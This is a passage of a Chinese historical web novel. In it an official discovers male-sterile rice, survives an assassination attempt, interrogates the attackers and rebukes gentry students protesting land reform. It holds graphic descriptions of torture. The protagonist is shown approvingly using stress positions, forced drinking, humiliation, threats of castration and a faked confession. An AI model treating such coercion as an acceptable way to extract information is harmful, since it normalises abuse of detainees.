既然官府查不到,那就用其他的方式来查。 段之缙悄悄从营里找了一个专做刺探的士兵,叫他带着家人搬到附近,就那里伪装潜伏,顺便扒扒老刘家平日里还有什么事儿,而后当做无事发生,继续带着人去清丈土地。 只要弄服帖了老刘家,这最硬的骨头就算啃下来了。 刘双喜没再用别的招数,段之缙安安生生测完了四县又往叶县走,期间要过一道谷地,两边是不太陡的山坡,往日里来往行人无数。 因为总督要过,道路被彻底肃清,这一日就只过段之缙一伙人。 天又热又闷,轿子里的冰全化成了水,他憋不住气掀开轿帘透气。 可这太阳照得外边的空气都在变形扭曲,知了在树上都热得发不出声儿。 趴在木框上,段之缙差点儿吐出来舌头,手里的扇子有一搭没一搭地摇,正要进入谷地的时候被路边的稻子吸住了眼睛。 “停下来!” 王章立刻上来问道:“老爷有什么吩咐?” 段之缙手一指,“那边是稻子不是?” 王章定睛一看,不是稻子是什么?扶着段之缙下来,又可惜道:“真是糟践东西,稻子扔在这里?” 段之缙也气,这里都是叫人践踏平了的地,能有什么养分?小心翼翼地伺候着都不一定能丰收,这样糟践种子真是气煞了人。 不怪他抠,土地不肥就得精打细算地来,要不然全省都吃不饱饭。 “你叫人去问问这是谁家的旱稻,把他叫来。” 他蹲在那一小片稻田里看,因着营养不良,这些稻子虽开花了,却干瘪地立着。 段之缙左瞧右瞧,忽然盯住了一棵稻子,瞧出了一点儿不对劲来。 他睁大眼睛往里花里边看,只见里边的花药干干瘪瘪,呈乳白色还透明发亮,也根本未曾裂开。 不开裂哪有花粉? 段之缙依稀记得水稻是自花传粉的粮食作物,天然杂交率极低。 此时王章领着一位老伯走来,老大爷旁的不认识,穿红衣服带乌纱帽的是官员他还是知道的,吓得扑通跪下,在段之缙示意下被扶起来。 “这稻子是你的?怎么种在这里?” 老伯战战兢兢回道:“这些种子不好,我们辛辛苦苦伺候大了,一颗穗上就几粒稻子,得不偿失,草民就把它们扔在这了。” 段之缙问道:“你怎么知道结不了实?” “去年收稻子的时候,两三亩地就出了这么一颗稻子杆,长得又高又壮偏偏就结了三四粒种,草民记得清清楚楚是被草民用手揪了下来揣袖里了。但好歹是粮食草民也不能浪费,谁成想那三四粒混进一小撮稻种里,草民想着不能白伺候就育苗后种在了这里。想着天生地养,要是能结粮食,这口饭就算是老天赐下来的。” 段之缙看着那三四株花药发育不良的稻子却是欣喜若狂,简直要留下泪来。 这可是雄性不育株啊! 有了雄性不育株才有杂交水稻啊! “去县衙里叫人带着花盆来!把这些稻株全都给我移回去!” 把总为难道:“大人,叶县的县令还在等着咱们呢……” 就为了这么几棵莠草耽误公事,真是昏了头。 段之缙沉吟一阵,“那给我留一顶小轿,先抬着仪仗和大轿过去,叫他等一会儿,这个稻株我要亲眼看着他们移。” 段之缙满头大汗地进去托着花看,一百来棵稻子也就三棵不育株,比黄金还金贵,王章见劝不动他,便转头劝把总先走,自己去县衙给老爷办事。 把总无法,留下几个人护卫便带着仪仗走了,留段之缙在原地冥思苦想杂交水稻是个什么流程。 好像是个什么三系来着,要先有雄性不育株,再叫不育株和稻子杂交出一代水稻,能够稳定保持雄性不育,而后叫一代水稻再杂交一次生出二代能够恢复自花授粉特性的水稻。 段之缙越看眼前这些杂草似的稻子苗越觉得胆战心惊。 老天爷啊,可得小心谨慎地来,先多弄点雄性不育株再想什么杂交不杂交的吧。 再看一眼旁边摸不着头脑的老伯,段之缙从荷包里取出一块儿碎银子,“不能白得你的便宜,这三两碎银子你拿着。” 老伯吓得磕头,“大老爷愿意拿是咱们的造化,不敢要大老爷的银。” “我不是白给你的。”段之缙小心翼翼地抬起一棵不育株的穗子,“你瞧,只要花药是这样的泛白干瘪的稻子你就来县衙报告,一棵我给你一两银子,回去告诉你的乡亲们,只要谁能照找着一棵,都算一两银子!当然了,他们找着一棵,我就给你五钱银子,算是中介费。” 虽听不懂什么是中介费,但只要能找着这样的稻子他就有银子拿还是听懂了的! 老伯一开始不敢相信,可段之缙又给了他二两,“这二两是剩下苗子的钱。你放心,我是拿着朝廷名器的官员,没必要在这种事情上骗你。我再给你五两银子,算是预订五棵苗,你若能在一年之内给我五棵苗,那这五两才真真正正是你的,若不能,一年之后我还要回来。自然了,拿与不拿都取决于你。” 段之缙从轿子上拿下一块儿银锭放在手心中,银子因氧化有些发黑,但仍改变不了它的价值。 五两银子啊,若拿了,今儿就白捡了十两! 刚才的五两碎银子在手心里发烫,老伯犹豫一会儿,想着就算找不到,一年后再把银子还给这大官不也行吗?窃喜着将银子揣入怀中,段之缙微微一笑,又步入地里重新查一遍,看有没有漏网之鱼。 等着确定就这三棵之后,段之缙又开始神神叨叨地担心起来,太阳这么大,不育株会不会被晒死,于是赶紧吩咐人把自己的轿子移过来挡阳,看得老伯目瞪口呆。 正在他万分焦躁地等着王章回来的时候,把总意料之外地骑着快马赶了回来,飞身下马跑到段之缙面前:“部堂,前边的山坡落石,把您的仪仗全都压毁了,还压伤了几个兄弟!” 段之缙心中巨震,这样好的大晴天,连风都不吹怎么会有落石? 他灵光一现当即问道:“剩下的人呢?” “他们带着伤员在后,应当快要回来了。” “那你带着我身边这几个上坡查看,一旦发现人踪就立刻追赶,能可错杀决不能放过!” 把总担心段之缙的安危,却见段之缙两三下把官服解了只着中衣,官帽一摘,全放在稻丛中掩藏,又把裤腿袖子全撕去一半,连小轿子上的布帘都叫他扯下来扎在身上。 你别说,这谁还能看出来是当官的? 下地的人才穿得这么风凉。 留下了两人,把总带着剩下人追赶,段之缙在原地又爽又焦躁。 爽的是终于穿上了短衣短裤,可也害怕行凶的人刺杀而自己身边护卫的人不够。 幸好王章来得及时,看见自家的老爷衣冠不整站在原地,脸晒得跟红肉枣一样,又一见他就呲着大牙乐,可给他心疼坏了,连忙张开扇子给他遮住。 王章问道:“这是叫人抢了?官服官帽哪去了?” 他还想问问怎么还给老爷留了件儿衣裳,但见老爷晒惨了的样子还是没损出口。 段之缙将事情的经过一说,王爷心有余悸,“真是福大命大,若是老爷乘那抬轿子过去了,岂不是成了肉饼?” 段之缙也后怕道:“谁说不是?大难不死,必有后福,想来摊丁入亩不成问题了。” 他看着王章在身边转来绕去地伺候,深觉不自在,毕竟他已经许久没叫王章伺候过了,于是叫王章去看看稻子,“千万别折了我的稻子,若是折了一枝我死都合不上眼!” 等兵丁带着伤员回来,段之缙带人回了当地的县衙,县令得知总督回来的消息后早就在门口迎接,又亲自上去掀帘子,就见小轿里边总督衣衫不地坐着,差点脱口而出你是谁。 但总督都这般了他还能哪般? 段之缙也是热昏了头,竟然不知在轿子上穿戴整齐,现在看着县令的眼神顿觉大不妥,连忙穿好官服,照程式由县令扶着下来,开口便问:“我的稻子安排的如何?” “都为大人安排好了,您放心即可。” “若是死了一棵怎么办?” 县令大无语,死了就死了呗,就那么几棵莠草还要朝廷的命官赔命吗?干脆带着些阴阳怪气道:“若死了,叫下官偿命吧。” 段之缙一蹙眉,“那倒也不必,但真若死了就给你官服扒了。” 县令一下子愣住,后边王章冷冷一笑,“县太爷,大老爷!你清的好路,若不是老天爷庇佑着,我们部堂就叫石头砸死了!就算没这稻草,你身上的官服也穿不住!” 县令脸色煞白,看着段之缙的背影连滚带爬地跟上,哭丧道:“确不关下官的事啊!” 段之缙回头一笑,“那关谁的事?咱们一起等等把总,若他能带回来人犯就不关你的事,若带不回来你又拿不出个交代,这事情就难办了。” 县令就同他一起胆战心惊地等到了后半夜,把总竟真带回来了四五个人,只可惜一问仍是什么也不说。 第127章 127县令看着底下的几个刁民牙…… 县令看着底下的几个刁民牙咬得死紧,斜睨了一眼段之缙,腹诽起来这个“没见识、没成算”的总督。 “部堂,哪有这样问话的?该上来一顿杀威棒叫他们知道知道老爷们的厉害,才好张嘴说实话。” 他这么一说,下边的人脸色一变,抿了抿嘴仍然不说话。 段之缙笑道:“我不经常过问下边的事情,也不是从县令一步步升上来的官员,对于刑讯之事我还真不太清楚,你如实说来。” 县令也是急着撇清嫌疑,要只是简简单单无官可做还好,就怕是这个总督出了事儿叫他来承担责任,这罪过可大了,因而将自己平日里的手段全说了出来。 “这人犯带上堂来,先吃一顿杀威棒,而后上官问讯,若是仍不开口或是言辞左右冲突,使刁钻法子拖延时间,那就要再吃一些苦头了。男用夹棍,女用拶子,用完之后便是金口银口,哪怕是铁门栓的口也松动了,上官可接着问。” 段之缙疑道:“万一仍不张口不说话呢?” 县令自得道:“部堂有所不知,一般人上了这二刑已经是知无不言,言无不尽了。若真有那刁民,怙恶不悛者自然另有料理之法。把他带到囚中,有烙铁或鞭子伺候。鞭子已经浸透了盐水,烙铁烧得通红,万没有不招的。” “若还真有不招的呢?” 县令心里骂骂咧咧,故意刁难人啊!烙铁和盐水鞭子都上了还不招,闲得没事儿找了个铁人审问? 不过,嘿,好叫部堂知道知道,他还真审过这样的穷凶极恶之徒,微微一笑答道:“叫部堂见笑了,若是旁的县令怕是无招可施,只能来回倒腾那些刑具,下官还真有料理之法。” 段之缙看着下边那些人已经哆哆嗦嗦了,让县令接着说话。 “平日里打磨用的最粗的砂纸,在人的手指腹上磨。这些人皮糙肉厚一开始倒还真不觉得疼,可只要磨破了皮那可真是……可真是十指连心呐。” “磨下来的碎肉渣子沾在砂纸上,刮都刮不下来。若是还能顶,就磨到了指骨上,骨头在砂纸上磨有些生涩,下官听着都牙颤,还从没见过有一人能撑过这种法子。” 前边杀威棒、夹棍、拶子、皮鞭和烙铁都忍了过去,死不松口,这得是多大的冤情啊! 能从县开始审的,料想不是大奸大逆谋反一类,杀人者有必要为了脱罪吃这么多苦吗? 段之缙想象不了,开口问道:“还记得是什么案子吗,案卷在哪里?” “是夫杀妻之案,去年的事儿了,本该去年秋后问斩,可一直审不出结果叫他多活了一年。” 县令轻飘飘说着话,段之缙记下了这个“夫杀妻”之案,想等眼下的事情审出头绪再去查,再看一眼底下的人,他们几个已经是汗如雨下,偏生还死犟着不开口。 “你们也都听见了,不过我皇帝陛下惠爱天成,曾说过三木之下何求不得之言,严令我等官员非证据确凿不得擅自用刑,不叫你们受皮肉之苦。” 县令听着又在心里骂骂咧咧,“你清高,你了不起!看你怎么审!” 那三两个人刚松下气,段之缙又道:“不过现在物证也有,你们身上撬石头的工具都还带着呢,要用刑也说的过去,本督心性好不愿用刑可还有别的法子。” 按理说该用秦先生的法子,但事情急得很,段之缙也没那么大的胸襟对着这些要害自己的人这么宽容和顺。 段之缙叫人把他们带下去,吩咐道:“这三天里水管够,但一粒米都不许吃,找一个将将能放上两只脚的小凳子,把他们的手吊起来使其站在凳子上。” 县令眼一斜,好家伙,比之我来也是不差的嘛,刚才装啥呢? 段之缙又说:“绳子松些,要叫他们两个脚实实地踩在凳子上,但一旦下了凳子就会被吊起来。绑手的绳子也要松一些,别绑坏了。” “你们也别担心,这三天里每日都有人问话,只要开口答就能下来,可要是说瞎话就得结结实实吊三天了。” 说完这些人就被拉了下去,先吊上后半夜等着明儿天亮了再行审问。 处理完了这些事情,段之缙才有功夫管他的心肝宝贝苗,大半夜也不睡觉,盯着人搬了一百来棵苗子放到了一间空房里边,安置好才回县令安排的屋子,只是躺在床上仍在想杂交的事情,怎么也睡不着。 按照那老伯说的话,一开始只有一棵雄性不育株,通过风传媒将旁边的花粉传到了这株稻子上,这才有了现在的三棵不育株。 照此法,还是得将这些水稻的品种相互杂交,人工授粉,下一次收获应该能得到更多的雄性不育株。 段之缙想了想岺州、南诏的粮食熟制,也算是占尽了天时地利,有些地方能够一年三熟,大大加快了育种的进程。 该把它们移到哪里去呢?一年三熟的地方离总督衙门都太远,若能把衙门移过去就好了。 但是总督衙门在哪里都是朝廷的规制,测算了地形等等因素千挑万选出来的,若没有充分的理由轻易动不得。 如果把这些稻子都移回南诏现在的总督衙门,怕是要死一大半。 琢磨一番,段之缙最终决定先在当地种一波,而后将水稻种子带回去。 打定主意,他一个鹞子翻身又趿拉着布鞋出门,本想叫王章和他一起,但看看外室里王章都睡得打呼,可见是累坏了,于是自己出门,把县令的房门敲得砰砰响。 县令从床上起来,烦躁地搓揉两下头发,大声喝道:“若不是着急的事儿我非扒了你的皮!” 他本以为是自己的随从,结果开门一看是总督,穿着中衣就跑了过来,朝着他笑眯眯道:“打扰你睡觉了?真是对不住,但本督实在是有急事吩咐。” 县令赶紧让开叫他进去,自己慌慌张张地找衣服穿。 段之缙道:“明天去外边找个有经验的老农来,给我的稻子授授粉。还有审讯的事情,你也知道事关本督生死大事,本督决定亲自审讯,明儿给我预备个椅子。” “下官记住了,部堂可还有什么吩咐?” “其他的事情倒没有了,不过我对着那个夫杀妻的案子好奇得紧,跟我说说是个什么案子吧。” 县令对此印象深刻,不光是县里几年也出不了一起凶杀案的原因,也是因为那男人的嘴硬得很,就是不吐供词,一声声全叫冤枉。 “嗐,就是他杀了自己的媳妇还不承认。” “可有人证和物证?” “部堂把下官想得太坏了,若没有人证物证下官也不敢那样用刑啊!凶器是在他家猪圈里找到的,他的邻居出来作证,说是听到了小两口打骂的声音。本来这案子是不用处决的,但他母亲因为儿子杀儿媳上吊死了,这才问成了死罪。” 段之缙了悟,原来除了杀妻,还有不孝的罪名在,不过这凶器和所谓的人证这样不充分,如何能上刑? “你怎知那凶器是他埋的,邻居说的是真话?” 县令笑答:“这人是个屠户,凶器又是杀猪刀,仵作验尸后说死者为一击毙命,这一刀正正好好捅在了心脏上。大人有所不知,那杀猪刀又大又厚,他媳妇又瘦又小,一刀下去肋骨裂了两根,别说是女子了,就是一般力气小的男子都做不到。” “且因着他家养猪多气味太大,声音太吵,所以住的地方较偏,只东边有一户邻居在,还是一个鳏夫带着独子,那鳏夫瘦得像豆芽菜,能一刀捅死谁?” “万一是在他处杀了又搬回他家中陷害于他的呢?” “一具人尸搬来搬去,哪能不发现呢?” 说得有道理,段之缙沉思起来,如果是这样的案情就算今年秋审也得问斩。 只是奇怪了,他都敢杀人怎么又愿意受这么大的苦不招供? 县令也看出来了他是以为自己搞了些冤案出来,搞不好以为自己配合着劣绅土豪宰白鸭了!可自己这点儿操守还是有的,宰白鸭这种断子绝孙的事情他可干不出来。 县令主动开口道:“大人若是有什么疑问大可再审此案,虽说当时知府大人催得急下官办案也有些粗糙,可除了人犯之外,谁也找不出第二个能犯案的人。” 段之缙也知晓当今办案的难处,朝廷要求命案必破,下边的官员审案子便只能找最有可能的凶手,只要是可能性最大又不能翻案,那这就是板上钉钉的真凶了,至于真真假假谁又在乎呢? 能做到这一点,这世上又没有那么多的疑难案件,自然能算得上是清官能臣,可以接受褒奖。 段之缙回道:“这个案子先放一放,先审手头的案子。”他转头往外一瞅,天边擦亮光,于是叮嘱道:“记得给本督找人,本督先回去歇歇,你该办的事儿办起来,一个时辰后我去牢里审案。” 县令把段之缙送出去,黑着脸叫差役找个能给稻子授粉的老农来,又去牢里边布置。 牢里这四个人被吊了半个晚上,现在可老实多了,再没有那副“英勇就义”的嘴脸,县令问两句都颤抖着嘴唇,刚要说话又憋了回去。 这畜牲! 县令本就睡眠不足烦躁得很,若今日无事该好好睡一觉才对,若是全天守在这里非得昏厥过去,厉声喝道:“给他们的凳子撤了!” 青年壮小伙,一百四、五十斤的体格,看着都不是家里太穷的样子,要是撤了凳子全身的重量就全压在两根腕子上了。 就在牢头上去撤凳子的时候段之缙打着哈欠来了,“不是说了不让用刑吗?你瞧瞧你又沉不住气。” 县令赶紧把他请到主位上,自己侍立在一边,汇报道:“方才下官问了几次,仍然是一句话不说,但看样子像是松动了些。” 第128章 128段之缙扫他们四个一眼,张…… 段之缙扫他们四个一眼,张口问道:“你们姓甚名谁?这总能说了吧?” 四个人低头不语,但总不能没个称呼,段之缙随口说道:“既然不说,就是无名无姓无爹无娘,那就叫本督给你们取个名字吧!” “若跟着我姓,我自然是不愿意的。这样吧,从百家姓里给你们选四个做姓,你们就算是天生地养的。从左到右,就叫做赵某甲、钱某乙、孙某丙、李某丁如何?” 俗话说得好,男子汉大丈夫行不更名坐不改姓,更何况姓名乃父母所赐,姓什么比天都重要,段之缙三言两语给他们改换了名称,言语之间没一句好话,便有人忍不住开了口,而后其他人纷纷说了姓名,原来是叫刘一峰,刘二川、陈穗和陈麦。 多稀奇啊,两两成双,还都是对应起来的,就算不是兄弟也该是亲戚。 尤其是那个“刘”字,叫段之缙瞬间警醒起来,问道:“你们为何要刺杀本督,咱们应当没见过吧?是不是刘双喜派你们来的?” 这四 个人又不说话,县令着急道:“部堂,容下官说一句话,直接把他们的凳子撤了再照下官的法子来,不出一个时辰定然能撬开他们的口!” 段之缙瞪他一眼:“老是喜欢弄那些血肉模糊的景象来,你有什么怪癖?” 县令在心中连叫两声“彪子”,憋气暗骂:“丧门玩意儿,你自己审去吧!” 段之缙吩咐人给他们灌水,而后一人一间牢房分开关押,所有人挤进了刘一峰的牢房,段之缙还命人叫来了画师拿来了笔墨,搬来了桌子板凳,要画师大展身手。 刘一峰仍是吊在凳子上,牢头时不时喂水,不喝也得喝,他这时便感到不太妙了,眼见着肚子越来越胀,而面前是这么多的人,禁不住开口恳求道:“老爷,小的想撒尿。” 就是真的坐监,牢房里还有个恭桶呢,更何况这是大庭广众之下。 段之缙微微一笑,“没不叫你尿啊,请自便。哦,是不是不方便脱裤子?本督叫人给你脱。” 转头又吩咐画师:“画仔细些,尤其是脸部,要一眼能认出来是谁。这画要分给各村各庄,教导大家不要随地尿尿,举止符合礼法。” 县令在旁边看着无话可说,又在心里谩骂:“还好意思说别人有怪癖,我看你是有病!不正常!” 刘一峰夹着腿,脸憋成猪肝色,而后忽得一白,画师的脸倒是一瞬间红了。 都出来了自然也就无所谓,刘一峰调整好心态怒瞪段之缙,但见后者旁若无味地呷了一口茶,悠悠道:“省着点儿尿吧,你这三天的水,本督准备叫你一上午喝完呢……等会儿给你拿个小碗来,你对准了尿。” 县令在旁边听着反胃呕了一下,倒把段之缙吓一跳,刘一峰这回儿是真怕了,又听那当官的说:“嘴这么硬图个什么?本督是慈善人,现在给你上的文把式,可本督又呆不了多长时间,几日后启程就是县令给你们上武把式了。到时候可不用砂纸给你磨指头……” 他说到此处顿了顿,带着些不怀好意睨了一眼刘一峰的腿间,“把你□□磨磨,二两磨到一两重,以后在山上逃跑还迅捷。” 县令瞠目结舌,附耳过去为难道:“部堂,这宫刑有违天和,已经不叫用了……” “朝廷还不叫刑讯呢,我看你也没少用。” 县令翻白眼,可见话都说到了这个份儿上刘一峰仍然不张嘴,便有些泄气,看来不动刑是万万不可了。 谁知就在此时,段之缙写了一张供词出来,给刘一峰戳上了手印,带着他们呼啦啦去了刘二川的牢房里。 他把东西往刘二川面前一摆,“你兄弟的手印,认不认得?本督承诺只要说实话就能减免罪行,他已经张口招了。” 刘二川多少认得几个字,最起码看到上边的“刘双喜”三个字还是认得的,一瞬间哭骂了起来,“我的媳妇孩子啊!你就算不管弟弟的死活,总得管自己的妻儿吧!” 段之缙恍然大悟,原来如此啊!怪不得不敢开口。他叹一口气,“你说你们蠢到何种境地,一整晚没回去你们刘老爷还能不清楚是出事了?这里边不进不出,他也无从得知你们供没供出来,杀不杀你们的家人也只不过是刘双喜一念之间。” 刘二川听着更是泣不成声,段之缙道:“本督跟你保证,只要你说了本督立刻就去救人,你们再也不用被刘双喜胁迫。可若是忠心耿耿到妻子儿女都顾不得,我也只能抄本经书为他们超度了。” 刘二川不及他哥能顶,现在又饿又累,又怕又憋,脑子已经糊涂了,段之缙又恐吓两句就张了口,把此次的事情和盘托出,不是刘双喜是谁? 书吏将供词记下,段之缙拿着离开,县令真叫他这出奇的法子惊得不轻,怪不得人家能做总督,可还有一事不解,虚心请教道:“不知部堂为何要先折辱恐吓刘一峰,而不是直接去诈刘二川?” 段之缙一笑:“我险些丧了命,还不能拿他开开玩笑出出气?再者刘一峰还没问过,先给他个下马威,杀杀他的气焰。” 几步走到陈穗的牢门口,神色一肃带着供词进去,仍是方才的一套话术,只不过将刘二川的供词念了出来,又加一句:“刘家两个兄弟已经全吐了出来,他们说是你和陈麦挑唆的刘双喜杀人。在本督这里一向是坦白从宽抗拒从严,他们能够迷途知返是立功,你们嘛……刺杀朝廷命官,千刀万剐也不为过。” 陈穗听供词说的不差已经慌了神,现在唯担忧起自己和弟弟的安危来,正想法子减罪呢就听那大官说:“你想要立功,就得说些他俩不知道的事情,比如说你们老爷还犯过什么罪,他的罪过越大,你们的罪过就越小。” 陈穗想想自己的弟弟,又想想刘家两个狗日的叛徒,一咬牙把老刘家作奸犯科的事情全说了,强调道:“他不仅强占老百姓的地,他这个畜牲还好色,追到那女人家里去,差点被那女人捅了!” “然后呢?” “然后他气不过,找了个时机杀了那娘们,嫁祸给了人家丈夫。” 段之缙和县令都悚然一惊,瞬间想起了那“夫杀妻”之案。 “那男人是不是个屠户?” “对对!” 县令大怒,上去给了陈穗一个嘴巴,“你放屁!刘双喜跟着柴火棒儿一样,都不比猪长,他哪来的劲儿拿着屠户的杀猪刀捅穿了死者?那女人的肋骨都断了两根!” 段之缙拦下他,“哎,你这话说的,他自己杀不了还不能叫别人杀吗?他是个有钱的富户啊!” 县令还是气得大喘气,这可不是开玩笑,若真的弄出了错案,自己给假人犯上了那么多的刑,自己还要不要当官了?说出去自己的脸还要不要了? 他跟段之缙解释道:“部堂您想想,死者不是一人在家,她那杀猪的丈夫才与她吵过架尚在家中,刘双喜带人进去杀人怎么会没声响,人犯身上又怎么可能没有伤口?且若不是他杀妻,他母亲又为何上吊?那男人风评也不好,周围的人都知道他打媳妇,完全可能杀了妻子。” 段之缙一顿,“可他也没必要拿这个事儿骗人……等会儿把案卷拿来,咱们重新审一审他那个邻居。” 县令无奈应下,其实心里也在打鼓。 等着段之缙带着人问完了一圈,该套的话也都套了出来,最可怜一个刘一峰,就他吃苦最多。 现在只等着他的便衣回来,将两方事情整合一番,这样就能顺理成章地对刘家发难。 走出阴暗潮湿气味难闻的牢房,王章伺候着他沐浴更衣,这才用了第一顿饭。 上午的事情折腾完,又去看了自己的稻子,回卧房脱衣裳钻被窝,段之缙准备来个沉睡不醒,谁知正睡得迷迷糊糊呢,外边门敲得邦邦响,县令粗哑的嗓子嗷嗷叫道:“出事了部堂!学生们闹起来了!” 段之缙起身,不过此种事情经历的多了,倒也不怎么慌乱,再大的排场能有上次罢考的排场大吗? 他趿拉着鞋子往外走,打开门一看,县令慌乱有之,兴奋亦有之。 好嘛,来这里打击报复来了,还惦记着昨儿晚上打扰他睡觉的事情。 段之缙半眯着眼睛,“收收你的表情,他们又闹什么呢?” 县令道:“摊丁入亩的事儿,乌泱泱的学生举着圣人的牌位往县衙走。部堂,我们如何是好啊?” 段之缙转身回去穿衣服,抱怨两句:“大热天的,没事儿不读书跑这儿练我来了,等我先穿上衣服,你去给我拿这个县的土地册。” 县令都抱上了账册回来,却见王章和他还慢悠悠不知轻重的样子,跑上去帮忙系衣服,一时间三双手齐上齐下,很快出了衙门大门,果然人头攒动,为首的人抱着孔子牌位,正气凛然。 段之缙抱着膀子站在大门口,高声问道:“你们有什么需求可以说嘛,又拿着自己的功名开玩笑,何苦呢?” 为首者将孔子牌位举过头顶,扑通一声跪下,高喊道:“我等是为反摊丁入亩之乱政而来!” “论祖宗成法,今摊丁入亩坏我国朝永不加赋之训,大人妄更百年成宪,此非以私智乱国典?” “先贤有道,设圣王与士大夫共治天下之礼。今胥吏持筹握算,竟以市井之术凌驾乡绅,岂不知财聚则民散,今聚敛之臣当道,岂非令士心寒而民怨沸?” 段之缙听着脸一皱,忍不住回头看了看衙门的匾额。 他说的是哪儿啊?还是雍朝吗?他想与纪禅共治天下啊? 还以为给我整古希腊去了,他怎么不说民主呢? 那学生仍义愤填膺道:“士为四民之首,今朝廷视缙绅如商贾,驱士子同皂隶,岂不知天将崩地将裂,江河倒流就在眼前!” 段之缙从县令手里接过册子,讶然问道:“是哪儿的天要崩了,哪儿的地要陷了?又是哪儿的江河要倒流?要是没天崩地裂也没江河倒流,你负责吗?” 第129章 129刁难的一问叫现场…… 刁难的一问叫现场沉默下来,所谓天崩地裂也不过是惯用 的场面话,谁知他还真问这个。 县令看着围观的人越来越多,吩咐差役将他们驱散,被段之缙拦住。 事儿应当正大光明地办,无理之辈才会遮遮掩掩。 县令看他不听劝告,也着急得很,再看看对面的学生高举孔子牌位,顿觉头昏脑胀,牌位一举高,他就想拽着段之缙跪下来。 对面的学生也看出了这边官员还是心有顾忌,于是张口问道:“大人,你们见了孔圣的尊位不下跪,意欲何为?” 县令一听,当即撩袍子跪下。段之缙恶心得很,他膝下虽没有什么黄金,但对着这些人下跪心里过不去。 但该跪还是得跪。 官员一见总督跪下了,全都跟着呼啦啦跪下,气势顿时矮了一截。 学生这边纷纷叫好,段之缙高声道:“莫说先圣牌位在前,就说是朝廷上官在尔等身前跪拜圣人,尔等不下跪是岂不是倒反天罡,哪还有脸在此论仁义礼智信?” 对面的学生相互一望,跪在了为首者身后。 段之缙又睨了一眼领头人身上的锦衣华服,笑道:“三川的风锦,夏天穿不仅看着轻薄,穿着也是极为凉快的,唯一的缺点就是贵,一寸锦缎一寸金,除了上贡之用,剩下的锦缎有价无市。” 为首者正色道:“大人,学生等是要与你驳摊丁入亩之政,方才山崩地裂、江河倒流之言只不过是与大人说学生等内心之急切,非为实言。至于学生穿什么,这更与大人无关了。” 段之缙话头一转问道:“你叫什么名字?你父亲是谁?” “学生李淼,家父李熙。” 段之缙翻开手里的土地册,片刻后问道:“县城外东南,起自望莲坡,终到栖陇的那两千四百三十六亩土地是你家的吧?” “正是学生家中所有。” “如果本度本督没有记错的话,你家中在其他的府县还有五千余亩土地。是否如此?” 李淼道:“这都是学生家中世世代代积累的田产,并无半分来路不明之处。” 段之缙旧事重提:“我看你的装扮,想你家的土地,想来你家不说是富甲天下,也算是为富一方了。你方才说财聚则民散,你家中是否是聚财之家?所谓财聚又是什么意思?朝廷征收赋税,入藩库的入藩库,入国库的入国库,都要记账建册,以便发生灾情之时拨款救助灾民。大灾大涝之时,你们吃的每一粒粮食,修建堤坝的每一袋土、每一根木头,都是用今日所纳的赋税买来的。要不然天上会下稻子雨吗?” “这是近的,远的看向西北,若对赤砂人的战事不顺利,我们就会被外族所统,到时候屠城略地悲情不可名状,而当今所用的军饷不也是从赋税中出吗?你们的赋税难道不都是用在你们自己身上吗?” 段之缙又看着对面的人冷笑一声:“若说聚敛,正是你们这些巨富之家只进不出,什么好东西全都让自家享受了。三川的锦缎,我圣主皇帝爱惜民力已经停了进贡,原来乡绅之室、耕读之族还把这样的东西穿在身上。你若真的关心国事,爱惜百姓,为何不将你家的土地都分于平民,以消你所谓的民怨!” 李淼十指捏紧手中的牌位,气道:“大人不要曲解文意,学生……” 不等他的话说完,段之缙当即喝道:“曲解文意?到底是谁在曲解文意造些异端邪说?又说什么圣王与士大夫共治天下之礼……李焘《续资治通鉴长编》里是这么说的吗?你们读的什么书做的什么学问!” “上曰:更张法制,于士大夫诚多不悦,然于百姓何所不便?彦博曰:为与士大夫治天下,非与百姓治天下也。我问你,那个’共’字是谁告诉你的?你要造反吗!” 加了一个“共”字可了不得,文彦博说的是皇帝替士大夫治理天下而不是为百姓治理天下,所以应当得士大夫之心而非民心,到了李淼这儿成了君臣共治,意思便大谬了。 “共治天下……这四个字将你抄家灭族也不为过!” 说到这里,段之缙腾地站起来,怒骂道:“文彦博的话你们倒是记得清清楚楚,还叫什么先圣先贤……我问你们,若他是先圣先贤,孔孟是谁!民为邦本是谁的话?一个个读书读到这种地步,天良丧尽,我都不说别的,你们眼里还有王法吗!” 段之缙命令差役和兵丁将学生们团团围住,而后叫他们列队上前挨个报姓名。 “一个个义正言辞,全天下的道理全在你们那边儿。全都上来说明白自己都是哪家的子弟,叫本督查查你们家里有多少田产,看看你们有几个是原本就过得艰难,觉得摊丁入亩叫你吃不上、喝不上的!” 本来摊丁入亩就艰难,从实行开始段之缙动辄得咎,老虎吃人是他暴政虐民,今年黄河改道又是天人感应,前天来信说南诏连日暴雨泥石流冲毁了两三个村落,紧跟着出来了风言风语说他不敬上天、不恤下民。 可去年南诏地价是十几年来最低,土地集中率也是十几年来最低,藩库也是十几年来最充裕的一年,押送到京中入库的银子都比往年多,他究竟欺了谁,虐了谁? 段之缙看着李淼,忽而被他手中的孔圣牌位引去了目光,刚才光顾着骂了,这牌位好像是府学文庙拿来的吧?想到此处心中一团火在燃烧。 学政庞肖平也是该死了,岺州与南诏相邻,他不可能不知道南诏土地是府学、县学的学生们清丈的,没主动表示一番就算了,毕竟大家也不是上下级隶属关系,他有顾虑段之缙也能理解。 但文庙的夫子牌位是谁叫拿出去的?叫人捧到了县衙门口,若说庞肖平一点儿都不知道,他还做什么提督学政? 他看着磨磨蹭蹭不想上前的学生更是气不打一出来,硬拽了他上来,拉扯间撕碎了人家的外衫,那学生吓得嚷道:“大人不可啊大人,光天化日之下拉拉扯扯,有辱斯文啊大人!且我是有功名在身的举子,归学政大人管,您若对我们拘禁是违反当朝律令的!” 他话一说,其他人纷纷附和,刑不上大夫礼不下庶人,若没有被革掉功名,段之缙一个人也碰不得,而革除功名只能由学政报给皇上,由皇上做决定。 段之缙冷声道:“你跟本督讲刑不上大夫?那你放心,你的功名就要没了,不光是你,你们学政也等着听参吧!” 段之缙带来的兵丁只管听命,强行录下姓名高声报出家族所占的田土,原本还在旁边沉默看着的百姓们此时骚乱起来。 岺州这地方贫富差距巨大,穷的穷死,富的富死。这些人虽生活在县城之内,但绝大多数也只不过是小买卖人和小手工艺人,听见别人家占地几千亩,眼都红了。 若是大家一样都穷得要死也就罢了,可不患寡而患不均。 此时已经有学生想要溜走,被一把推了回来。 先以理服人,后以力压人,把这些学生弄得一点儿脾气都没有。 段之缙将牌位请回县衙,也不愿在那些乱七八糟的事情上耽搁精力,无论是接二连三的刺杀还是学生们闹事,本质上都是地主们在闹事。 